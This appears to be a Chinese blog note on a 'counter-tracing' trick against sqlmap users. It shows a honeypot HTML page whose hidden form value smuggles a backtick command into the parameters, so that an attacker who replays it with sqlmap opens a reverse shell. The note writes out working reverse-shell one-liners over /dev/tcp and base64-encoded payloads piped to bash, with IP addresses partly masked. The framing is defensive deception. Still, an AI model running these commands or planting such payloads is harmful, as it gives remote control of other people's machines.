#溯源反制-SQL注入工具-SQLMAP
复现环境：
蓝队：Linux Web
红队：Linux sqlmap
蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限
原理：
命令管道符：ping "`dir`"
构造注入点页面固定注入参数值，等待攻击者进行注入
sqlmap -u "http://47.94.xxx.xxx/test.html?id=aaa&b=`dir`"
sqlmap -u "http://47.94.xxx.xxx/test.html?id=aaa&b=`exec /bin/sh 0</dev/tcp/47.94.xxx.xxx/2333 1>&0 2>&0`"
1、测试反弹编码：
bash -i >& /dev/tcp/47.94.xxx.xxx/2333 0>&1
echo YmxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxMgMD4mMQ== | base64 -d|bash -i
2、蓝队构造页面test.php注入页面固定参数值：
<html>
<head>
<meta charset="utf-8">
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单-->
<form action="username.html" method="post" enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name' value="xiaodi&id=45273434&query=shell`echo YmFzaxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxD4mMQ== | base64 -d|bash -i`&port=6379"/>
<!--创建一个按钮，提交表单内容-->
<input type="submit" value='提交'>
</form>
</body>
</html>
3、红队攻击者进行注入测试：
sqlmap -u "http://xx.xx.xx.xx/test.php" --data "name=asho&id=45273434&query=shell`echo YmFzcxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxLzIzMzMgMD4mMQ== | base64 -d|bash -i`&port=6379"
11-09
410
410
02-06
4605
4605
12-29
860
860
04-20
1888
1888
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
